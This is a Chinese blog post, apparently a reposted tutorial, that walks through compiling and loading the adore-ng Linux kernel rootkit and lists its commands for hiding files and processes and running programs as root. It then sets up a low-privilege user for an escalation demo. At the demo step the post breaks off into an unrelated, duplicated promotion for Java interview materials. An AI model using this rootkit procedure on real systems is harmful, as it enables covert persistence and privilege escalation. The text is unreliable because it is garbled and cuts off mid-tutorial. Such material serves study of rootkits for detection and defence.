当前位置:   article > 正文

【运维安全】Linux下rootkit把木马程序的使用

【运维安全】Linux下rootkit把木马程序的使用

[root@gaosh-1 adore]# cd adore-ng-master

[root@gaosh-1 adore-ng-master]#

3. 安装依赖包

[root@gaosh-1 adore-ng-master]# mount /dev/cdrom /mnt

mount: block device /dev/sr0 is write-protected, mounting read-only

[root@gaosh-1 adore-ng-master]#

安装内核模块:

[root@gaosh-1 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm

安装adore-ng

[root@gaosh-1 adore-ng-master]# ls

adore-ng.c ava.c libinvisible.h Makefile

adore-ng.h libinvisible.c LICENSE README.md

[root@gaosh-1 adore-ng-master]#

[root@gaosh-1 adore-ng-master]# make -j 4

注意这里无需执行make install

我们只需要加载相应的模块即可

[root@gaosh-1 adore-ng-master]# insmod adore-ng.ko

测试命令是否运行

[root@gaosh-1 adore-ng-master]# ./ava

Usage: ./ava {h,u,r,R,i,v,U} [file or PID]

I print info (secret UID etc)

h hide file ## 隐藏文件

u unhide file ## 取消隐藏

r execute as root ## 提权像root一样运行

R remove PID forever ## 删除PID

U uninstall adore

i make PID invisible ### 隐藏进程

v make PID visible

rootkit木马的使用
提权演示

实验步骤:

  1. 创建普通用户便于测试,因为我们要用普通用户提权

  2. 将adore-ng移动到可以让普通用户访问的目录,在root下普通用户没有权限

  3. 使用r命令进行提权

  4. 提权效果演示

1. 创建普通用户便于测试,因为我们要用普通用户提权

创建测试用户:

[root@gaosh-1 adore]# useradd zmgaosh;echo 123456 |passwd --stdin zmgaosh

useradd:用户“zmgaosh”已存在

更改用户 zmgaosh 的密码 。

passwd: 所有的身份验证令牌已经成功更新。

[root@gaosh-1 adore]#

2. 将adore-ng移动到可以让普通用户访问的目录,在root下普通用户没有权限

[root@gaosh-1 adore]# cp -r adore-ng-master /tmp/

[root@gaosh-1 adore]# chmod 777 /tmp/adore-ng-master/ -R 让普通用户有权限访问

3. 使用r命令进行提权

[root@gaosh-1 adore]# su - zmgaosh ## 切换到普通用户

[zmgaosh@gaosh-1 ~]$ cd /tmp/adore-ng-master/

[zmgaosh@gaosh-1 adore-ng-master]$

4. 提权效果演示

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Java开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Java开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

如果你觉得这些内容对你有帮助,可以扫码获取!!(备注Java获取)

img

最后

针对最近很多人都在面试,我这边也整理了相当多的面试专题资料,也有其他大厂的面经。希望可以帮助到大家。

最新整理面试题
在这里插入图片描述

上述的面试题答案都整理成文档笔记。也还整理了一些面试资料&最新2021收集的一些大厂的面试真题

最新整理电子书

在这里插入图片描述

最新整理大厂面试文档

在这里插入图片描述

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》点击传送门即可获取!
理电子书

[外链图片转存中…(img-J1cujft7-1712262697726)]

最新整理大厂面试文档

[外链图片转存中…(img-S9Wa5Pyv-1712262697727)]

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》点击传送门即可获取!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/677198
推荐阅读
相关标签
  

闽ICP备14008679号